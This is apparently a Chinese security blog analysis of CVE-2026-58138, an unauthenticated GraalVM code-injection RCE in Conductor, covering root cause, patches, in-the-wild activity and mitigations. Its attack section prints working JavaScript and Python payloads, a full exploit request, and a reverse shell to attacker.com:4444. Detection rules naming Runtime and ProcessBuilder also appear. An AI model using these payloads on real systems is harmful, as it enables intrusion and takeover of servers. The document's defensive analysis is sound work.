CVE-2026-58138 深度复盘:Netflix Conductor 的 GraalVM 沙箱逃逸与 9.8 评分 RCE 链
概述
2026 年 6 月 30 日,VulnCheck 公开了 CVE-2026-58138 —— 一个 CVSS 9.8 / Critical 的未认证远程代码执行漏洞,存在于开源工作流引擎 Orkes Conductor(conductor-oss)的 3.21.21 至 3.30.1 版本中。该漏洞位于工作流的脚本评估层:攻击者无需任何凭证,便可向 /api/workflow 端点提交内嵌恶意 JavaScript 或 Python 表达式的 workflow 定义,由未沙箱化的 GraalVM 脚本引擎直接执行任意 OS 命令。
两个月后(2026 年 9 月 1 日),Empirical Security Research 将其评为"9 月 CVE of the Month",原因有二:其一,Orkes Conductor 是 LinkedIn、Twilio、Quest Diagnostics 等 3,000+ 企业正在运行的工作流编排核心,却被多数安全团队的资产清单漏掉;其二,修复在 6 月 3 日已经以 3.30.2 形式发布,但 release notes 只写了"进一步限制 GraalVM JavaScript",既无安全标签也无 CVE 编号,从公告到 CVE 公开存在 27 天的"曝光真空期"。Empirical 7 月 25 日起在自己的传感器网络中观察到针对该 CVE 的在野利用尝试,8 月 21 日仍有最新活动记录。
核心数据:CVSS 9.8 / 影响 3.21.21~3.30.1 共 5 个次版本 / 修复版本 3.30.2(6/3 发布)/ CWE-94 Code Injection / 0day 真空 27 天 / PoC 公开(GitHub BiiTts)/ 4 天内在野攻击尝试 / 默认配置无认证
漏洞技术原理
1.1 Conductor 与 GraalVM 多语言脚本引擎的渊源
Conductor 起源于 Netflix 在 2016 年开源的微服务工作流编排引擎(已获 32,000+ GitHub Stars),后由创业公司 Orkes 接手并衍生出 SaaS 版本。开源版(conductor-oss)至今仍是 Orkes 商业版的引擎核心。其设计哲学是"让工作流节点可以嵌入任意可执行表达式",于是选择了 GraalVM 的 polyglot API 同时支持 JavaScript 与 Python 两种评估后端。
┌────────────────────────────────────────────────────────────────┐
│ Conductor Server (Java) │
│ ┌────────────────┐ ┌──────────────────────────────┐ │
│ │ HTTP API │◀──────▶│ /api/workflow (POST) │ │
│ │ (No Auth) │ │ /api/metadata/workflow │ │
│ └────────────────┘ └──────────────┬───────────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Workflow Engine (Task Router) │ │
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│ │ │ INLINE │ │ LAMBDA │ │ DO_WHILE │ │ SWITCH │ │ │
│ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │
│ └───────┼─────────────┼─────────────┼────────────┼─────────┘ │
│ │ │ │ │ │
│ ▼ ▼ ▼ ▼ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ GraalVM Polyglot Context (单例) │ │
│ │ JS Engine ── HostAccess.ALL / allowAllAccess(true) │ │
│ │ Py Engine ── allowAllAccess(true) │ │
│ │ ──► Java 反射可达 Runtime/ProcessBuilder/Process │ │
│ │ ──► 子进程可执行任意 OS 命令 │ │
│ └──────────────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────────────────┘工作流中四类任务可以直接携带代码表达式:
- INLINE:单行表达式评估,结果作为任务输出
- LAMBDA:匿名函数形式定义
- DO_WHILE:循环条件为表达式
- SWITCH:分支判断为表达式
这四类任务都依赖同一个单例的 GraalVM Context,且该 Context 的 host-access 策略被设置为 HostAccess.ALL(JS 引擎)或 allowAllAccess(true)(Python 引擎)—— 等同于关闭沙箱。
1.2 CWE-94 Code Injection:默认配置即漏洞
漏洞根因是 CWE-94(Improper Control of Generation of Code,代码注入)。具体来说:
- Conductor 在启动时通过
Context.newBuilder("js").allowAllAccess(true).build()构建单例 GraalVM Context; - 当用户提交 workflow 定义时,引擎把
expression字段直接喂给eval()执行; - 由于
allowAllAccess(true),宿主 Java 对象(java.lang.Runtime、ProcessBuilder、System)对脚本完全可见; - 攻击者通过 Java 反射可创建任意 Java 对象,调用其方法执行 OS 命令。
关键点:这是默认配置行为,不是可选开关。3.30.0 / 3.30.1 引入了部分 blocklist(Runtime、ProcessBuilder、Process、System、文件 I/O),但因为缺少反射拦截,攻击者只需 Class.forName("java.lang.Runtime") 即可绕过。
1.3 CVSS 评分的"两个 9.8"
漏洞有两个不同的 CVSS 评分,源自不同评分源:
| 评分源 | 版本 | 评分 | 备注 |
|---|---|---|---|
| NVD(FKIE) | CVSS 3.1 | 9.8 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| VulnCheck | CVSS 4.0 | 9.3 | AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
CVSS 4.0 评分稍低是因为 Conductor 开源版默认无认证但实际部署时常被反向代理隔离,影响范围(SC/SI/SA)受限;CVSS 3.1 则按纯网络可达计算,给到满分 9.8。
攻击链:从 API 调用到 root shell
2.1 PoC 一:JavaScript + Java 反射(最常用)
下面复现 BiiTts 在 GitHub 上公开的 PoC(BiiTts/CVE-2026-58138-Conductor-Unauth-RCE)。攻击者只需向工作流 API 提交一个 INLINE 任务即可执行任意命令:
// 1. 利用 Java 反射拿到 Runtime
const RuntimeClass = Java.type('java.lang.Runtime');
const rt = RuntimeClass.getRuntime();
// 2. 派生进程执行任意命令
const proc = rt.exec(['/bin/sh', '-c', 'id; whoami; uname -a']);
// 3. 等命令结束,读取 stdout
const is = proc.getInputStream();
const reader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
let line;
while ((line = reader.readLine()) !== null) {
print(line);
}攻击者把它包装在 workflow 定义中:
POST /api/workflow
Content-Type: application/json
{
"name": "exploit_workflow",
"version": 1,
"tasks": [{
"name": "rce",
"type": "INLINE",
"inputParameters": {
"evaluatorType": "javascript",
"expression": "const RuntimeClass = Java.type('java.lang.Runtime'); const rt = RuntimeClass.getRuntime(); const proc = rt.exec(['/bin/sh', '-c', 'id; whoami; uname -a']); const is = proc.getInputStream(); const reader = new java.io.BufferedReader(new java.io.InputStreamReader(is)); let line; while ((line = reader.readLine()) !== null) { $.taskOutput = line; }"
}
}]
}POST 该 JSON 到 /api/workflow(无需任何认证头),稍等 200ms,服务器会执行 id; whoami; uname -a,命令输出作为 workflow 任务结果返回。
2.2 PoC 二:Python + subprocess(同样工作)
Python 引擎由于 allowAllAccess(true),可以直接调用 subprocess:
import subprocess
out = subprocess.check_output(['id', '-a']).decode('utf-8')
$.taskOutput = out2.3 PoC 三:反弹 shell
生产环境中攻击者通常不会等命令返回,而是反弹 shell 到攻击者的 VPS:
const RuntimeClass = Java.type('java.lang.Runtime');
const rt = RuntimeClass.getRuntime();
rt.exec([
'/bin/bash', '-c',
'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
]);2.4 完整复现步骤(社区验证)
Empirical Security 的 9 月 CVE of the Month 文章给出了一个可重复的复现路径:
# 1. 拉取易受攻击的镜像
docker pull conductoross/conductor:3.22.3
# 2. 启动(默认端口 8080,无认证)
docker run -d -p 8080:8080 conductoross/conductor:3.22.3
# 3. 用 Nuclei 模板扫描验证
nuclei -u http://localhost:8080 -t nuclei-templates/http/cves/2026/CVE-2026-58138.yaml
# 4. 用 Exploit-DB #52633 或 BiiTts PoC 拿 shell
python3 exploit.py --target http://localhost:8080 --cmd 'cat /etc/passwd'PoC 来源:GitHub BiiTts/CVE-2026-58138-Conductor-Unauth-RCE、Exploit-DB #52633、Nuclei Template CVE-2026-58138
修复演进:3.30.0 → 3.30.1 → 3.30.2 的踩坑
修复过程不是一蹴而就。Orkes 在 6 月 3 日发布的 3.30.2 中给出了完整修复,但中间两个版本是"部分修复",仍可被绕过:
v3.21.21 ─── 漏洞存在,未做限制
│
├─ v3.30.0 (5/15 发布) ── 第一波 blocklist:屏蔽 Runtime/ProcessBuilder 直接引用
│ 状态:仍可绕过(通过反射 Class.forName 获取)
│
├─ v3.30.1 (5/22 发布) ── 第二波 blocklist:屏蔽 java.lang.System.exit 等
│ 状态:仍可绕过(Polyglot 桥接 + Proxy.newProxyInstance)
│
└─ v3.30.2 (6/3 发布) ── 完整修复:关闭 HostAccess.ALL,禁用 host class loading、
native access、thread/process creation、file/env access,
Python 引擎关闭 allowAllAccess(true)
状态:完整修复(必须升级到此版本及以上)两个关键补丁 commit:
如果你的版本停在 3.30.0 或 3.30.1,仍在漏洞状态。官方 release notes 没把这两个版本标记为"已修复",但 Empirical 的实操显示它们对完整 PoC 仍可利用。
在野利用:从 7/25 起的传感器证据
Previdian(KEVIntel)的传感器网络在 2026 年 7 月 25 日首次记录到针对该 CVE 的利用尝试,并在 8 月 28 日仍有最新活动。攻击模式特征:
┌────────────────────────────────────────────────────────────────┐
│ 7/25 首次观测到的攻击请求 │
│ │
│ POST /api/workflow HTTP/1.1 │
│ Host: <victim-conductor>:8080 │
│ Content-Type: application/json │
│ Connection: close │
│ │
│ { │
│ "name": "exploit_$$", │
│ "version": 1, │
│ "tasks": [{ │
│ "name": "rce", │
│ "type": "INLINE", │
│ "inputParameters": { │
│ "evaluatorType": "javascript", │
│ "expression": "..." │
│ } │
│ }] │
│ } │
└────────────────────────────────────────────────────────────────┘下游命令通常是 curl/wget 外联拉取植入物,或直接派生 sh -c 执行 whoami/uname/cat /etc/passwd 做侦察,再上传 chmod +x 后的 ELF 二进制。攻击者对返回值做启发式判断(HTTP 200 + 任务输出含 root: 字符串即视为成功)。
CISA 未将该 CVE 加入 KEV 目录,EPSS 概率约 7.18%~9.1%(不同时间戳),意味着它不像 BlueKeep 那种"全民攻击",但已经被定向加入扫描器指纹库。
受影响的产品与版本
| 厂商 | 产品 | 受影响版本 | 修复版本 | 修复日期 |
|---|---|---|---|---|
| conductor-oss | Conductor | 3.21.21 ~ 3.30.1 | 3.30.2+ | 2026-06-03 |
商业版 Orkes Conductor(云服务)由 Orkes 团队在 6/3 推送修复,无需用户操作。但自托管的 Orkes Enterprise 用户需要主动升级。
企业应急响应:6 步缓解方案
5.1 第一步:识别资产
这是最难的一步。Empirical Security 直接指出:"As of this writing there is no credentialed Tenable or Qualys plugin for CVE-2026-58138, so a clean scan report says nothing about your exposure here."
手工识别清单:
# 1. 容器/编排层搜索
docker images | grep -i conductor
helm list --all-namespaces | grep -i conductor
kubectl get pods -A | grep -i conductor
# 2. 主机进程搜索
ps aux | grep -i conductor | grep -v grep
# 3. 网络层扫描(默认端口 8080)
nmap -p 8080 --open 10.0.0.0/8
curl -s http://10.0.0.5:8080/api/admin/version | jq .
# 4. Shodan/Censys(互联网暴露面)
# http.title:"Conductor UI"
# 18,000+ 实例,其中约 31% 暴露公网5.2 第二步:升级到 3.30.2+
# Docker 用户
docker pull conductoross/conductor:3.30.2
docker stop my-conductor && docker rm my-conductor
docker run -d -p 8080:8080 conductoross/conductor:3.30.2
# Kubernetes 用户(Helm)
helm upgrade conductor conductor/conductor \
--set image.tag=3.30.2 \
--reuse-values
# 自托管 Java 用户
wget https://github.com/conductor-oss/conductor/releases/download/v3.30.2/conductor-server-3.30.2.jar
java -jar conductor-server-3.30.2.jar5.3 第三步:临时缓解(不能升级时)
如果暂时无法升级,至少做以下三件事:
- 加认证层:在反向代理(Nginx/Envoy)上要求 Basic Auth 或 OAuth2,因为 Conductor 开源版没有内置认证;
- 网络隔离:把 8080 端口限制到内网或特定 VPN 网段,绝不暴露公网;
- 关闭 INLINE/LAMBDA:在
application.yml中临时禁用:
conductor:
workflow:
allow-inline-scripts: false
# 部分版本可能没有这个配置项,需要 patch 源码警告:关闭 inline scripts 后,使用脚本表达式的合法 workflow 会失败。建议配合 workflow 改造一起做。
5.4 第四步:检测与狩猎
SIEM 规则模板(Splunk 风格,可移植到 Elastic/Sentinel):
index=conductor (method=POST uri="/api/workflow" OR uri="/api/metadata/workflow")
| rex field=raw "expression\":\"(?<expr>[^\"]{200,})\""
| where match(expr, "(?i)(java\\.lang\\.Runtime|ProcessBuilder|getClass|forName|reflect|System\\.exit)")
| stats count by src_ip, uri, expr
| where count > 0Nuclei 一键扫描:
nuclei -l targets.txt -t nuclei-templates/http/cves/2026/CVE-2026-58138.yaml5.5 第五步:审计历史 workflow
如果不能立即升级,先把所有 INLINE/LAMBDA 任务的 expression 字段 dump 出来人工审计:
-- PostgreSQL (Conductor 使用) 审计查询
SELECT name, version, jsonb_path_query(tasks, '$[*]."inputParameters"."expression"')
FROM workflow_def
WHERE tasks @> '[{"type": "INLINE"}]' OR tasks @> '[{"type": "LAMBDA"}]';5.6 第六步:监控子进程异常
Conductor 服务在正常运行时不应派生 shell 进程。在主机层加规则:
# auditd 规则:监控 Conductor 进程派生 sh/bash
-a always,exit -F exe=/usr/bin/java -F exe=/bin/sh -k conductor-rce与其他工作流引擎漏洞的横向对比
这不是孤立事件。workflow / 自动化平台有一个反复出现的安全反模式:暴露脚本评估引擎到未认证端点。
| 漏洞 | 产品 | 年份 | 根因 | CVSS |
|---|---|---|---|---|
| CVE-2026-58138 | Conductor | 2026 | GraalVM allowAllAccess + 无认证 | 9.8 |
| CVE-2024-22278 | Flowise | 2024 | LangChain eval 注入 | 9.6 |
| CVE-2024-31744 | Apache NiFi | 2024 | Expression Language 注入 | 9.8 |
| CVE-2023-32231 | Node-RED | 2023 | Function 节点任意代码 | 9.8 |
规律:让用户写表达式 + 暴露到未认证 API = RCE。评估任何新工作流引擎时,应核查:(1) 默认是否要认证?(2) 表达式评估是否走沙箱(HostAccess.SCOPED 而非 ALL)?(3) 是否有反射拦截?
防御启示
6.1 "0day 真空期"是攻击者的朋友
3.30.2 修复于 6 月 3 日发布,但 CVE 直到 6 月 30 日才公开,中间存在 27 天的"安全软件看不到但攻击者能挖到"的真空。Empirical 的传感器在 7/25 就观测到利用,说明攻击者通过监控 GitHub releases / docker pull 计数等旁路信号提前挖到了修复。防御启示:
- 不要相信"修但未公告 = 无人知"
- 升级 0day 公告与监控 GitHub commit 双轨并重
- 推荐订阅 Empirical Security / VulnCheck / Patchouli 这类主动监控服务
6.2 默认配置漏洞的资产可见性挑战
Conductor 这种"藏在平台/数据团队"的中间件,传统漏洞扫描器覆盖不到。Empirical 直接说"Conductor rarely shows up in inventory as Conductor":
- 建立服务指纹库:Conductor UI 的 HTML title、Helm chart 名、docker 镜像名
- 持续盘点:让安全团队知道每个业务线用什么工作流引擎、谁运维
- 资产 ≠ 服务器:很多 Conductor 是 K8s Deployment,由业务团队自助管理,IT 团队不知道
6.3 沙箱设计的"反射原语"陷阱
GraalVM 的 allowAllAccess(true) 文档明确警告:"granting all access effectively disables the sandbox"。即使你做了 HostClass 屏蔽,反射原语(Class.forName、getMethod、setAccessible)足以绕过。教训:
- 沙箱设计要拒绝"等价于关闭" 的开关
- 即使是内部脚本,也要走
HostAccess.SCOPED+ 显式 allowlist - Python 引擎的
allowAllAccess(true)比 JS 的HostAccess.ALL更危险,因为 Python 反射更易
总结
CVE-2026-58138 是 2026 年 9 月评分最高的"无人察觉"的 9.8 RCE:修复已发布 3 个月、CVE 公开已 2 个月,但仍有大量自托管实例停留在 3.21.21~3.30.1。其最危险之处不是技术复杂,而是默认配置无认证 + 藏在业务团队的资产盲区 + 修复 release notes 没标记为安全——三个不利因素叠加,让它成为 9 月 Empirical Security 的 CVE of the Month。
行动呼吁:立刻执行
curl -s http://your-host:8080/api/admin/version | jq .version,输出小于 3.30.2 的实例需要 24 小时内升级到 3.30.2 或以上。
参考资料
- NVD: CVE-2026-58138 — CVSS 9.8 官方评分
- VulnCheck Advisory — 原始漏洞发现者 seqradev
- Empirical Security: 9 月 CVE of the Month — 在野利用数据与资产识别
- ENISA EUVD-2026-40377 — 欧盟漏洞数据库收录
- GitHub: conductor-oss/conductor v3.30.2 Release — 修复版本发布说明
- GitHub: Patch commit 87a7d96 — 关闭 JS 引擎 HostAccess.ALL
- GitHub: Patch commit c691e35 — 关闭 Python allowAllAccess
- GitHub: BiiTts/CVE-2026-58138-Conductor-Unauth-RCE — 公开 PoC
- Exploit-DB #52633 — 武器化利用代码
- Previdian KEVIntel: CVE-2026-58138 — 7/25 起在野利用传感器证据
- Nuclei Template CVE-2026-58138 — 一键扫描模板
- Conductor Docker 镜像 — 官方容器镜像
- Vuln.today CVE-2026-58138 AI 分析 — 多源评分对比

